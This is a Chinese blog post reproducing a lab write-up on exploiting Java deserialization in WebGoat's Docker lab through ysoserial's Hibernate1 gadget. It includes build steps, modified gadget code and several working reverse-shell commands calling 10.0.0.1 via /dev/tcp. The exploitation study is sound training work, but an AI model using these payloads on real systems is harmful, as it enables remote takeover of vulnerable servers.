内容简介:在腾讯玄武安全实验室的日常推送上面看到了整篇文章的背景很简单。Webgoat的靶场中提供了一个本漏洞的环境采用的是Docker的环境。根据官方的提示
在腾讯玄武安全实验室的日常推送上面看到了 Java 反序列化 - 如何在受限环境下一步步获取反向 Shell ,觉得非常地有意思。复现并研究了一下。本文就是差不多是对这篇文章的复现和翻译的集合体。
漏洞环境
整篇文章的背景很简单。Webgoat的靶场中提供了一个 Insecure Deserialization
的学习示例,这个题目的本意只是要求我们通过反序列化漏洞使页面的响应延迟,但是我们能够利用反序列化漏洞得到靶场 Docker 环境的Shell。
安装Webgoat靶场
本漏洞的环境采用的是Docker的环境。根据官方的提示 WebGoat 8 ,运行
docker pull webgoat/webgoat-8.0 docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
执行完毕之后,显示如下(由于输出较多,图中仅仅显示部分信息):
访问 http://localhost:8080/WebGoat
,如果能够正常访问,说明环境搭建成功。
漏洞确认
根据题目的含义:
题目的要求是我们需要在Token中输入我们序列化之后经过bashe64编码的Payload使页面响应延迟。
为了测试是否存在反序列化漏洞,我们可以使用Burp上面的反序列化漏洞扫描插件 Java-Deserialization-Scanner 。 Java-Deserialization
的安装参考 installation 、使用可以参考 Burp Suite扩展之Java-Deserialization-Scanner 、 Burp Suite 反序列化插件 Java Deserialization Scanner
漏洞扫描
使用Burp截取请求包,如下:
使用 Java-Deserialization-Scanner
进行扫描, 由于payload需要进行Bash64编码,所以在测试时我们需要选择 Attack(base64)
,否则是无法扫描出漏洞的
经过测试,我们发现存在 Hibernate
的反序列化漏洞。
漏洞利用&问题定位
扫描发现是存在 Hibernate
的反序列化漏洞,于是我们尝试利用。 Java-Deserialization-Scanner
是通过 ysoserial
生成Payload的。 ysoserial usage 中是存在Hibernate的Payload的。所以我们利用 ysoserial
,执行 Hibernate1 whoami
。
发现出现 ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS
错误,进入到 Java-Deserialization-Scanner
查看错误详情,
具体的错误信息是:
Error while generating or serializing payload java.lang.ClassNotFoundException: org.hibernate.property.access.spi.Getter at java.net.URLClassLoader.findClass(URLClassLoader.java:381) at java.lang.ClassLoader.loadClass(ClassLoader.java:424) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349) at java.lang.ClassLoader.loadClass(ClassLoader.java:357) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:264) at ysoserial.payloads.Hibernate1.makeHibernate5Getter(Hibernate1.java:92) at ysoserial.payloads.Hibernate1.makeGetter(Hibernate1.java:64) at ysoserial.payloads.Hibernate1.getObject(Hibernate1.java:104) at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
此时就非常奇怪了,为什么 Java-Deserialization-Scanner
能够扫描出 Hibernate
的漏洞,但是使用 ysoserial
生成Payload却会出错呢?通过分析源代码,找到 Java-Deserialization-Scanner
的解析方法 BurpExtender.java
发现在 Java-Deserialization-Scanner
的所有的检测逻辑都是硬编码的,那么 ysoserial
生成Payload却会出错的原因就在于 ysoserial
本身了。经过定位分析,发现是在生成 Hibernate
Payload时,缺少 javax.el
包,所以我们需要直接下载 ysoserial
的源码然后在 pom.xml
中加入这个包的依赖,最后手动编译。关于这个问题,作者提供提交了一个 pull request 。修改内容如下:
使用maven重新编译代码打包, mvn clean package -DskipTests -Dhibernate5
。如果能够正常打包成功,会在 target
目录下生成 ysoserial-0.0.6-SNAPSHOT.jar
和 ysoserial-0.0.6-SNAPSHOT-all.jar
。
尝试生成payload, java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
得到Payload的base64形式。我们利用Burp进行利用
我们通过 docker exec -it <CONTAINER_ID> /bin/bash
进入到Docker容器的内部查看是否生成了 /tmp/test
文件。
发现存在 test
文件,说明我们已经攻击成功。
反弹shell
上一章节中已经确认了漏洞的存在并且利用成功,那么现在就是尝试反弹 shell 了。
生成反弹shell
首先我们需要分析一下在 Webgoat
中的 Docker
中能够使用的命令:
发现 Docker
中存在 perl
和 bash
命令。我们就可以利用常见的bash反弹shell, bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
。
之后对 ysoserial
的生成Payload流程进行分析。整个流程如下图所示:
我们最终会进入到 ysoserial.payloads.util.Gadgets::createTemplatesImpl()
中。代码如下:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
其中生成Payload的关键代码是 String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";
。其中的 command
就是需要攻击者输入。那么我们就可以直接修改这个 cmd
为我们的的反弹shell。
所以我们需要利用 Java 的方式执行这种 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
反弹shell。一般利用方式是:
Runtime r = Runtime.getRuntime(); String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(mycmd); p.waitFor();
但是我们需要将上述的这个代码变为字符串的形式。所以我们就需要将上述的代码用 "
转为字符串,此时还需要对其中的特殊字符进行转义,最终得到的Payload是:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
其中的 10.0.0.1
就是我们需要的反弹shell的服务器地址,这个需要根据自己的实际情况设定。
修改完毕之后,运行 mvn clean package -DskipTests -Dhibernate5
重新编译 ysoserial
。
反弹shell利用
得到新的 ysoserial
之后运行 java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "anything" | base64 -w0
,得到我们的Payload。
利用Burp发送我们生成的Payload尝试反弹shell
已经成功地拿到Docker的shell了。
其他
反弹shell的利用
其实最终作者使用的是:
Runtime r = Runtime.getRuntime(); String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(mycmd); p.waitFor();
不知道为什么没有采用Bash的方式,就是如下这种,感觉这两种应该是一样的:
Runtime r = Runtime.getRuntime(); String [] mycmd = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.0.1/8888 0>&1"}; Process p = r.exec(mycmd); p.waitFor();
我们将其转为字符串形式,
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/10.0.0.1/8888 0>&1\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
重新编译运行,得到新的payload。发现同样可以利用:
ysoserial patch
由于作者发现了在生成 Hibernate
的Payload时出现了问题,于是在 pom.xml
中添加了 javax.el
的依赖并提交了一个 patch 。但是貌似因为出现了一些错误,导致官方目前还没有接受这个pull request。但是具体的错误目前还不清楚,不知道为什么添加一个依赖都会导致 continuous-integration
的问题。
总结
总体来说,整个漏洞的利用比较有趣,在此过程中也学习到了 Java-Deserialization-Scanner
的用法以及在受限环境下利用 ysoserial
反弹shelll的方法。
以上
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一次受限环境中的Java反序列化漏洞挖掘到Get Shell
- Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell
- 不受限对抗样本挑战赛介绍
- 利用Socket重用绕过payload受限
- 输入长度受限情况下的 XSS 攻击
- Azure云MySQL数据库受限功能列表
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。